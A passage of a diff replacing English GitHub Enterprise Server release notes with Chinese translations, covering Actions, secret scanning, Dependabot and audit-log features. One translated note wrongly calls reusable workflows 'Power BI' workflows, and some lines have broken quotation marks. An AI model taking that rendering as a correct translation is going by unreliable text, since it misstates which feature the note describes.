any long-lived cloud secrets on your instance - - Cloud administrators can rely on the security mechanisms of a particular cloud provider to ensure that GitHub Actions workflows have minimal access to cloud resources. There is no duplication of secret management between GitHub Enterprise Server and the cloud. - - For more information, see "[Security hardening your deployments](/actions/deployment/security-hardening-your-deployments)." - - heading: Sharing GitHub Actions within your enterprise is generally available + +- 云供应商和 GitHub Enterprise Server 之间的无缝身份验证,无需在你的实例上存储任何长期云机密 + +- 云管理员可以依赖特定云提供商的安全机制,以确保 GitHub Actions 工作流对云资源拥有最小访问权限。在 GitHub Enterprise Server 和云之间没有重复的机密管理。 + + + +有关详细信息,请参阅“[安全强化你的部署](/actions/deployment/security-hardening-your-deployments)”。 + +| + - heading: 在企业内共享 GitHub Actions 正式发布 notes: # https://github.com/github/releases/issues/2085 - - | - Support for GitHub Actions in internal repositories is now generally available for organizations on your GitHub Enterprise Server instance. You can innersource automation by sharing actions in internal repositories. You can manage a repository's settings or use the REST API to allow access to workflows in other repositories within the organization or in any organization on the instance. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)," "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)," and "[Actions Permissions](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository)" in the REST API documentation. - - - heading: Cache support for GitHub Actions on GitHub Enterprise Server is now generally available + - |内部存储库中对 GitHub Actions 的支持现在在 GitHub Enterprise Server 实例中正式发布。可以通过在内部存储库中共享操作来内源自动化。可以管理存储库的设置,或者使用 REST API 来允许访问组织内或实例上任何组织中其他存储库中的工作流。有关详细信息,请参阅 REST API 文档中的“[与企业共享操作和工作流](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)”、“[管理存储库的 GitHub Actions 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)”以及“[操作权限](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository)”。 + +| + - heading: 在 GitHub Enterprise Server 上对 GitHub Actions 的缓存支持现已正式发布 notes: # https://github.com/github/releases/issues/2110 - - | - You can now use dependency caching to speed up your GitHub Actions workflows. To cache dependencies for a job, you can include the [actions/cache](https://github.com/actions/cache) action to create a cache with a unique key. You can share caches across all workflows in the same repository. These workflows can then restore the cache and run faster. - - Actions users can also use our cache APIs to: - - - Define the enterprise policy for cache size range allowed per repository. - - Query the cache usage within each repository and monitor if the total size of all caches is reaching the upper limit. - - Increase the maximum cache size for a repository within the allowed enterprise limits, based on the cache requirements of the repository. - - Monitor aggregate cache usage at organization level or at enterprise level. - - The external blob storage that is configured within your enterprise account will now be shared across workflow artifacts, logs, and also the caches. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)." + - |现在可以使用依赖缓存来加速 GitHub Actions 工作流。要缓存作业依赖项,可以包括[操作/缓存](https://github.com/actions/cache)操作,以创建具有惟一键的缓存。可以在同一个存储库中的所有工作流之间共享缓存。这些工作流可以恢复缓存并更快地运行。 - - heading: Automatically sign commits made in the web UI + +Actions 用户还可以使用我们的缓存 API: + + + +- 为每个存储库允许的缓存大小范围定义企业策略。 + +- 查询每个存储库内的缓存使用情况,并监视所有缓存的总大小是否达到上限。 + +- 根据存储库的缓存需求,在允许的企业范围内增加存储库的最大缓存大小。 + +- 在组织级或企业级监视聚合缓存使用情况。 + + + +在企业帐户中配置的外部 blob 存储现将跨工作流项目、日志和缓存共享。有关详细信息,请参阅“缓存依赖项以加快工作流](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)”。 + +| + - heading: 在 Web UI 中自动签署提交 notes: # https://github.com/github/releases/issues/1963 - - | - You can now configure GitHub Enterprise Server to automatically sign commits made in the web interface, such as from editing a file or merging a pull request. Signed commits increase confidence that changes come from trusted sources. This feature allows the [Require signed commits](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-signed-commits) branch protection setting to block unsigned commits from entering a repository, while allowing entry of signed commits – even those made in the web interface. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)." + - |现在可以配置 GitHub Enterprise Server 来自动签署在 Web 界面中提交的文件,比如编辑文件或合并拉取请求。已签名的提交增加了更改来自受信任源的置信度。此功能允许[要求签名提交](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-signed-commits)分支保护设置阻止未签名的提交进入存储库,同时允许已签名的提交进入,即使是在 Web 界面中生成的提交也允许。有关详细信息,请参阅“[配置 Web 提交签名](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)”。 - - heading: Sync license usage any time +| + - heading: 随时同步许可证使用情况 notes: # https://github.com/github/releases/issues/2201 - - | - For customers that sync license usage between GitHub Enterprise Server and GitHub Enterprise Cloud automatically using GitHub Connect, you now have the ability to sync your license usage independently of the automatic weekly sync. This feature also reports the status of sync job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#manually-syncing-license-usage)." + - |对于那些使用 GitHub Connect 在 GitHub Enterprise Server 和 GitHub Enterprise 云之间自动同步许可证使用情况的客户,你现在可以独立于每周自动同步来同步你的许可证使用情况。此功能还报告同步作业的状态。有关详细信息,请参阅“[同步 GitHub Enterprise Server 和 GitHub Enterprise Cloud 之间的许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#manually-syncing-license-usage)”。 - - heading: Reusable workflows for GitHub Actions are generally available +| + - heading: GitHub Actions 可重用工作流正式发布 notes: # https://github.com/github/releases/issues/1767 # https://github.com/github/releases/issues/1950 # https://github.com/github/releases/issues/2114 - - | - Reusable workflows are now generally available. Reusable workflows help you reduce duplication by enabling you to reuse an entire workflow as if it were an action. With the general availability release, a number of improvements are now available for GitHub Enterprise Server. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)." - - - You can utilize outputs to pass data from reusable workflows to other jobs in the caller workflow. - - You can pass environment secrets to reusable workflows. - - The audit log includes information about which reusable workflows are used. - - Reusable workflows in the same repository as the calling repository can be referenced with just the path and filename (`PATH/FILENAME`). The called workflow will be from the same commit as the caller workflow. - - - heading: Self-hosted runners for GitHub Actions can now disable automatic updates + - |Power BI 工作流现已正式发布。可重用工作流使你能够像重用操作那样重用整个工作流,从而帮助减少重复工作量。随着正式版本的发布,GitHub Enterprise Server 有了许多改进。有关详细信息,请参阅“[重用工作流](/actions/using-workflows/reusing-workflows)”。 + + + +- 可以利用输出将数据从可重用工作流传递到调用方工作流中的其他作业。 + +- 可以将环境机密传递给可重用的工作流。 + +- 审核日志包含使用了哪些可重用工作流的信息。 + +- 与调用存储库相同存储库中的可重用工作流可以仅通过路径和文件名 (`PATH/FILENAME`) 引用。调用的工作流将来自与调用方工作流相同的提交。 + +| + - heading: GitHub Actions 的自承载运行器现在可以禁用自动更新 notes: # https://github.com/github/releases/issues/2014 - - | - You now have more control over when your self-hosted runners perform software updates. If you specify the `--disableupdate` flag to the runner then it will not try to perform an automatic software update if a newer version of the runner is available. This allows you to update the self-hosted runner on your own schedule, and is especially convenient if your self-hosted runner is in a container. + - |现在可以更好地控制自承载运行器何时执行软件更新。如果为运行器指定 `--disableupdate` 标志,那么如果运行器的新版本可用,它就不会尝试执行自动软件更新。这允许你按照自己的计划更新自承载运行器,如果自承载运行器位于容器中,就会更加方便。 - For compatibility with the GitHub Actions service, you will need to manually update your runner within 30 days of a new runner version being available. For instructions on how to install the latest runner version, please see the installation instructions for [the latest release in the runner repo](https://github.com/actions/runner/releases). - - heading: Secure self-hosted runners for GitHub Actions by limiting workflows + + 为了与 GitHub Actions 服务兼容,你需要在新运行器版本可用的 30 天内手动更新运行器。 有关如何安装最新运行器版本的说明,请参阅安装说明,了解[运行器存储库中的最新版本](https://github.com/actions/runner/releases)。 + +| + - heading: 通过限制工作流来保护 GitHub Actions 的自承载运行器 notes: # https://github.com/github/releases/issues/2013 - - | - Organization owners can now increase the security of CI/CD workflows on self-hosted runners by choosing which workflows can access a runner group. Previously, any workflow in a repository, such as an issue labeler, could access the self-hosted runners available to an organization. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-what-workflows-can-access-a-runner-group)" and the [GitHub Blog](https://github.blog/2022-03-23-github-actions-secure-self-hosted-runners-specific-workflows/). + - |组织所有者现在可以通过选择可访问运行器组的工作流来增加自承载运行器上 CI/CD 工作流的安全性。以前,存储库中的任何工作流(如问题标记工具)都可以访问组织可用的自承载运行器。有关详细信息,请参阅“[使用组管理对自承载运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-what-workflows-can-access-a-runner-group)”以及 [GitHub 博客](https://github.blog/2022-03-23-github-actions-secure-self-hosted-runners-specific-workflows/)。 - - heading: Prevent GitHub Actions from approving pull requests +| + - heading: 阻止 GitHub Actions 批准拉取请求 notes: # https://github.com/github/releases/issues/1959 - - | - You can now control whether GitHub Actions can approve pull requests. This feature protects against a user using GitHub Actions to satisfy the "Required approvals" branch protection requirement and merging a change that was not reviewed by another user. To prevent breaking existing workflows, **Allow GitHub Actions reviews to count towards required approval** is enabled by default. Organization owners can disable the feature in the organization's GitHub Actions settings. For more information, see "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-approving-pull-requests)." + - |现在可以控制 GitHub Actions 是否可以批准拉取请求。该功能可以防止用户使用 GitHub Actions 来满足“需要审批”分支保护需求,并合并未经其他用户审查的更改。为了防止破坏现有工作流,默认启用**“允许 GitHub Actions 审核计入所需审批”**。组织所有者可以在组织的 GitHub Actions 设置中禁用此功能。有关详细信息,请参阅“[禁用或限制组织的 GitHub Actions](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-approving-pull-requests)”。 - - heading: Re-run failed or individual GitHub Actions jobs +| + - heading: 重新运行失败或单个 GitHub Actions 作业 notes: # https://github.com/github/releases/issues/1503 - - | - You can now re-run only failed jobs or an individual job in a GitHub Actions workflow run. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)." + - |现在,你可以在 GitHub Actions 工作流中重新运行失败作业或单个作业。有关详细信息,请参阅“[重新运行工作流和作业](/actions/managing-workflow-runs/re-running-workflows-and-jobs)”。 - - heading: Dependency graph supports GitHub Actions +| + - heading: 依赖项关系图支持 GitHub Actions notes: # https://github.com/github/releases/issues/1913 - - | - The dependency graph now detects YAML files for GitHub Actions workflows. GitHub Enterprise Server will display the workflow files within the **Insights** tab's dependency graph section. Repositories that publish actions will also be able to see the number of repositories that depend on that action from the "Used By" control on the repository homepage. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + - |依赖项关系图现在检测 GitHub Actions 工作流的 YAML 文件。GitHub Enterprise Server 将在**“见解”**标签的依赖项关系图部分中显示工作流文件。发布操作的存储库还可以从存储库主页上的“使用者”控件中查看依赖于该操作的存储库数量。有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 - - heading: Security overview for enterprises in public beta +| + - heading: beta 版本中的企业安全概览 notes: # https://github.com/github/releases/issues/2040 - - | - GitHub Advanced Security customers can now view an overview of security alerts at the enterprise level. The new **Security** tab at the enterprise level provides a repository-centric view of application security risks, as well as an alert-centric view of all secret scanning alerts. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + - |GitHub 高级安全客户现在可以在企业级别查看安全警报概述。企业级的新**“安全性”**选项卡提供了以存储库为中心的应用程序安全风险视图,以及以警报为中心的所有机密扫描警报视图。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 - - heading: Security view for organizations is generally available +| + - heading: 组织的安全视图正式发布 notes: # https://github.com/github/releases/issues/2096 - - | - The overview of security alerts at the organization level is now generally available. GitHub Advanced Security customers can use the security overview to view a repository-centric view of application security risks, or an alert-centric view of all code scanning, Dependabot, and secret scanning alerts for all repositories in an organization. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + - |组织级别的安全警报概述现已正式发布。GitHub 高级安全客户可以使用安全概览查看以存储库为中心的应用程序安全风险视图,或者以警报为中心的所有代码扫描、Dependabot 以及组织中所有存储库的机密扫描警报视图。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 - - heading: Code scanning detects more security issues, supports new language versions +| + - heading: 代码扫描可以检测到更多安全问题,并支持新的语言版本 notes: # https://github.com/github/releases/issues/2097 - - | - Code scanning now detects a larger number of CWEs, and CodeQL code scanning fully supports the standard language features in the following language releases. + - |代码扫描现在可以检测到更多 CWE,并且 CodeQL 代码扫描完全支持以下语言版本中的标准语言功能。 - - C# 10 / .NET 6 - - Python 3.10 - - Java 17 - - TypeScript 4.5 - For more information, see the [GitHub Blog](https://github.blog/changelog/2022-02-25-code-scanning-detects-more-security-issues-supports-new-language-versions/). - - heading: View code scanning alerts across an organization +- C# 10 / .NET 6 + +- Python 3.10 + +- Java 17 + +- TypeScript 4.5 + + + +有关详细信息,请参阅 [GitHub 博客](https://github.blog/changelog/2022-02-25-code-scanning-detects-more-security-issues-supports-new-language-versions/)。 + +| + - heading: 跨组织查看代码扫描警报 notes: # https://github.com/github/releases/issues/1792 - - | - GitHub Advanced Security customers can now view code scanning alerts in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + - |GitHub 高级安全客户现在可以在组织的**“安全性”**选项卡中查看代码扫描警报。该视图可用于具有[安全管理人员角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)的组织所有者和团队成员。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 +| # https://github.com/github/releases/issues/1763 - - | - Users can now retrieve code scanning alerts for an organization on your GitHub Enterprise Server instance via the REST API. This new API endpoint supplements the existing [endpoint for repositories](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository). For more information, see [Code Scanning](/rest/code-scanning) in the REST API documentation. + - |用户现在可以通过 REST API 在 GitHub Enterprise Server 实例上检索组织的代码扫描警报。这个新 API 终结点补充了现有[存储库终结点](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)。有关详细信息,请参阅 REST API 文档中的[代码扫描](/rest/code-scanning)。 - - heading: Secret scanning available as a push protection +| + - heading: 机密扫描可作为推送保护 notes: # - - | - GitHub Enterprise Server can now block any pushes where a token is detected with high confidence. Developers can bypass the block by providing details of why the secret needs to be committed via a web UI. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." + - |GitHub Enterprise Server 现在可以阻止任何推送,其中一个令牌检测到高置信度。开发人员可以通过提供机密需要通过 Web UI 提交的原因的详细信息来绕过这一阻碍。有关详细信息,请参阅“[使用机密扫描保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)”。 - - heading: Dry runs for custom patterns with secret scanning +| + - heading: 使用机密扫描试运行自定义模式 notes: # https://github.com/github/releases/issues/1703 # https://github.com/github/releases/issues/2084 - - | - GitHub Advanced Security customers can now dry run custom secret scanning patterns at the organization or repository level. Dry runs allow people with owner or admin access to review and hone their patterns before publishing them and generating alerts. You can compose a pattern, then use **Save and dry run** to retrieve results. The scans typically take just a few seconds, but GitHub Enterprise Server will also notify organization owners or repository admins via email when dry run results are ready. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)" and "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + - |GitHub 高级安全客户现在可以在组织或存储库级别试运行自定义机密扫描模式。试运行允许拥有所有者或管理员访问权限的人员在发布模式和生成警报之前检查和训练他们的模式。可以撰写一个模式,然后使用**“保存和试运行**来检索结果。扫描通常只需要几秒钟,但当试运行结果准备就绪时,GitHub Enterprise Server 还会通过电子邮件通知组织所有者或存储库管理员。有关详细信息,请参阅“[关于机密扫描](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)”和“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 - - heading: Secret scanning custom pattern events now in the audit log +| + - heading: 机密扫描自定义模式事件现在在审核日志中 notes: # https://github.com/github/releases/issues/2154 - - | - The audit log now includes events associated with secret scanning custom patterns. This data helps GitHub Advanced Security customers understand actions taken on their [repository](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#repository_secret_scanning_custom_pattern-category-actions)-, [organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#org_secret_scanning_custom_pattern-category-actions)-, or [enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#business_secret_scanning_custom_pattern-category-actions)-level custom patterns for security and compliance audits. For more information, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)" or "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)." + - |审核日志现包含与机密扫描自定义模式相关的事件。这些数据有助于 GitHub 高级安全客户了解对他们的[存储库](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#repository_secret_scanning_custom_pattern-category-actions)、[组织](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#org_secret_scanning_custom_pattern-category-actions)或[企业](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#business_secret_scanning_custom_pattern-category-actions)级客户模式针对安全性与合规性审核所执行的操作。有关详细信息,请参阅“[审查组织的审核日志](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)”或“[审查企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)”。 - - heading: Configure permissions for secret scanning with custom repository roles +| + - heading: 配置使用自定义存储库角色进行机密扫描的权限 notes: # https://github.com/github/releases/issues/1909 - - | - You can now configure two new permissions for secret scanning when managing custom repository roles. + - |现在可以在管理自定义存储库角色时为机密扫描配置两个新的权限。 - - View secret scanning results - - Dismiss or reopen secret scanning results - For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." - - heading: Secret scanning now supports archived repositories +- 查看机密扫描结果 + +- 关闭或重新打开机密扫描结果 + + + +有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 + +| + - heading: 机密扫描现支持存档存储库 notes: # https://github.com/github/releases/issues/2076 - - | - GitHub Advanced Security customers can now enable secret scanning for archived repositories via the UI and API. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)," "[About archived repositories](/repositories/archiving-a-github-repository/archiving-repositories)," and "[Repositories](/rest/repos/repos#update-a-repository)" in the REST API documentation. + - |GitHub 高级安全客户现在可以通过 UI 和 API 对存档存储库启用机密扫描。有关详细信息,请参阅 REST API 文档中的[关于机密扫描](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)”、“[关于存档存储库](/repositories/archiving-a-github-repository/archiving-repositories)”以及“[存储库](/rest/repos/repos#update-a-repository)”。 - - heading: Secret scanning webhooks for alert locations +| + - heading: 机密扫描警报位置 Webhook notes: # https://github.com/github/releases/issues/2149 - - | - GitHub Advanced Security customers using secret scanning can now opt to receive a webhook each time a secret is detected in a new location. The `secret_scanning_alert_location` webhook event includes location details, like the commit SHA, and the associated alert for the detection. A location is created for every new file path containing the detected secret. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert_location)." + - |使用机密扫描的 GitHub 高级安全客户现在可以选择每次在新位置检测到机密时接收 Webhook。`secret_scanning_alert_location` Webhook 事件包括位置详细信息,比如提交 SHA 和相关的检测警报。为包含检测到的机密的每个新文件路径创建一个位置。有关详细信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert_location)”。 - - heading: View Dependabot alerts across an organization +| + - heading: 跨组织查看 Dependabot 警报 notes: # https://github.com/github/releases/issues/1992 - - | - GitHub Advanced Security customers can now view Dependabot alerts in in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + - |GitHub 高级安全客户现在可以在组织的**“安全性”**选项卡中查看 Dependabot 警报。该视图可用于具有[安全管理人员角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)的组织所有者和团队成员。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 - - heading: Configure permissions for Dependabot alerts with custom repository roles +| + - heading: 配置使用自定义存储库角色查看 Dependabot 警报的权限 notes: # https://github.com/github/releases/issues/1958 - - | - You can now configure two new permissions for Dependabot alerts when managing custom repository roles. - - - View Dependabot alerts - - Dismiss or reopen Dependabot alerts + - |现在,在管理自定义存储库角色时,可以为 Dependabot 警报配置两个新权限。 - For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." - - heading: Reopen dismissed Dependabot alerts + +- 查看 Dependabot 警报 + +- 关闭或重新打开 Dependabot 警报 + + + +有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 + +| + - heading: 重新打开 Dependabot 警报 notes: # https://github.com/github/releases/issues/1923 - - | - You can now reopen dismissed Dependabot alerts through the UI page for a closed alert. This does not affect Dependabot pull requests or the GraphQL API. For more information, see "[About Dependabot alerts](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)." + - |现在,你可以通过 UI 页面重新打开已关闭的 Dependabot 警报。这不会影响 Dependabot 的拉取请求或 GraphQL API。有关详细信息,请参阅“[关于 Dependabot 警报](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)”。 - - heading: Pub support for Dependabot version updates is in public beta +| + - heading: 公共 beta 版本中对 Dependabot 版本更新的 Pub 支持 notes: # https://github.com/github/releases/issues/2086 - - | - Users of Dependabot version updates can now proactively update dependencies for Flutter or Dart projects that use the Pub package manager. + - |Dependabot 版本更新用户现在可以主动更新使用 Pub 包管理器的 Flutter 或 Dart 项目的依赖项。 - To test [version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates) on your own Dart or Flutter repository, add the following configuration file in [.github/dependabot.yaml](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). Note the `package-ecosystem: "pub"` and `enable-beta-ecosystems: true` flags. - ```yaml - version: 2 - enable-beta-ecosystems: true - updates: - - package-ecosystem: "pub" - directory: "/" - schedule: - interval: "weekly" - ``` - - heading: See pull request associated with a repository's Dependabot alerts via GraphQL API + +要在你自己的 Dart 或 Flutter 存储库上测试[版本更新](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates),请在 [.github/dependabot.yaml](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates) 中添加以下配置文件。注意 `package-ecosystem: "pub"` 和 `enable-beta-ecosystems: true` 标志。 + +```yaml + +version: 2 + +enable-beta-ecosystems: true + +updates: + + - package-ecosystem: "pub" + + directory: "/" + + schedule: + + interval: "weekly" + +``` + +| + - heading: 查看通过 GraphQL API 与存储库的 Dependabot 警报关联的拉取请求 notes: # https://github.com/github/releases/issues/2088 - - | - The new `DependabotUpdate` GraphQL object lets you view information about what happens to your repository's security updates. When GitHub Enterprise Server detects that a dependency in your repository is vulnerable, Dependabot will attempt to open a pull request to update that dependency to a non-vulnerable version. You can now see the pull request that fixes the vulnerability. In some cases, Dependabot fails to open a pull request. Previously, the error message that Dependabot generated was only visible in the "Dependabot Alerts" section of the **Security** tab. Now, if Dependabot runs into an error when trying to open a pull request for a security alert, you can determine the reason using the GraphQL API. For more information, see "[Objects](/graphql/reference/objects#dependabotupdate)" in the GraphQL API documentation. + - |新的 `DependabotUpdate` GraphQL 对象允许你查看存储库安全更新所发生情况的相关信息。当 GitHub Enterprise Server 检测到存储库中的依赖项易受攻击,Dependabot 将尝试打开一个拉取请求,将该依赖项更新为非易受攻击版本。现在可以看到修复漏洞的拉取请求。在某些情况下,Dependabot 无法打开拉取请求。以前,Dependabot 生成的错误消息只在**“安全性”**选项卡的“Dependabot 警报”部分可见。现在,如果 Dependabot 在尝试打开安全警报的拉取请求时遇到错误,你可以使用 GraphQL API 确定原因。有关详细信息,请参阅 GraphQL API 文档中的“[对象](/graphql/reference/objects#dependabotupdate)”。 - - heading: Access more information about Dependabot alerts via GraphQL API +| + - heading: 通过 GraphQL API 访问有关 Dependabot 警报的详细信息 notes: # https://github.com/github/releases/issues/1922 - - | - You can now view fixed alerts from Dependabot with the GraphQL API. You can also access and filter by state, as well as by unique numeric identifier, and you can filter by state on the vulnerability alert object. The following fields now exist for a `RepositoryVulnerabilityAlert`. + - |现在,你可以使用 GraphQL API 从 Dependabot 查看固定警报。还可以按状态和惟一数字标识符进行访问和筛选,并且可以按漏洞警报对象上的状态进行筛选。`RepositoryVulnerabilityAlert` 现存在以下字段。 - - `number` - - `fixed_at` - - `fix_reason` - - `state` - For more information, see "[Objects](/graphql/reference/objects#repositoryvulnerabilityalert)" in the GraphQL API documentation. - - heading: Git events in the enterprise audit log +- `number` + +- `fixed_at` + +- `fix_reason` + +- `state` + + + +有关详细信息,请参阅 GraphQL API 文档中的“[对象](/graphql/reference/objects#repositoryvulnerabilityalert)”。 + +| + - heading: 企业审核日志中的 Git 事件 notes: # https://github.com/github/releases/issues/2205 - - | - The following Git-related events can now appear in the enterprise audit log. If you enable the feature and set an audit log retention period, the new events will be available for search via the UI and API, or export via JSON or CSV. - - - `git.clone` - - `git.fetch` - - `git.push` - - Due to the large number of Git events logged, we recommend you monitor your instance's file storage and review your related alert configurations. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)." + - |下面与 Git 相关的事件现在可以显示在企业审核日志中。如果启用该功能并设置审核日志保持期,则可以通过 UI 和 API 搜索新事件,或通过 JSON 或 CSV 导出新事件。 - - heading: Improvements to CODEOWNERS + + +- `git.clone` + +- `git.fetch` + +- `git.push` + + + +由于记录了大量的 Git 事件,建议监视实例的文件存储并查看相关警报配置。有关详细信息,请参阅“[为企业配置审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)”。 + +| + - heading: 针对 CODEOWNERS 的改进 notes: # https://github.com/github/releases/issues/1994 - - | - This release includes improvements to CODEOWNERS. - - - Syntax errors are now surfaced when viewing a CODEOWNERS file from the web. Previously, when a line in a CODEOWNERS file had a syntax error, the error would be ignored or in some cases cause the entire CODEOWNERS file to not load. GitHub Apps and Actions can access the same list of errors using new REST and GraphQL APIs. For more information, see "[Repositories](/rest/repos/repos#list-codeowners-errors)" in the REST API documentation or "[Objects](/graphql/reference/objects#repositorycodeowners)" in the GraphQL API documentation. - - After someone creates a new pull request or pushes new changes to a draft pull request, any code owners that will be requested for review are now listed in the pull request under "Reviewers". This feature gives you an early look at who will be requested to review once the pull request is marked ready for review. - - Comments in CODEOWNERS files can now appear at the end of a line, not just on dedicated lines. - - For more information, see "[About code owners](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)." + - |此版本包括针对 CODEOWNERS 的改进。 - - heading: More ways to keep a pull request's topic branch up to date + + +- 从 Web 查看 CODEOWNERS 文件时,现在会显示语法错误。以前,当 CODEOWNERS 文件中的某一行存在语法错误时,该错误将被忽略,或者在某些情况下导致整个 CODEOWNERS 文件无法加载。GitHub Apps 和 Actions 可以使用新的 REST 和 GraphQL API 访问相同的错误列表。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/repos/repos#list-codeowners-errors)”或 GraphQL API 文档中的“[对象](/graphql/reference/objects#repositorycodeowners)”。 + +- 当有人创建了新的拉取请求或将新更改推送到草稿拉取请求后,任何将被要求审查的代码所有者现都在拉取请求的“审阅者”下列出。此功能使你可以尽早了解,一旦拉取请求标记为准备审查,将要求谁进行审查。 + +- CODEOWNERS 文件中的注释现在可以显示在行尾,而不是只显示在专用行上。 + + + +有关详细信息,请参阅“[关于代码所有者](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)”。 + +| + - heading: 使拉取请求的主题分支保持更新的更多方法 notes: # https://github.com/github/releases/issues/1566 - - | - The **Update branch** button on the pull request page lets you update your pull request's branch with the latest changes from the base branch. This is useful for verifying your changes are compatible with the 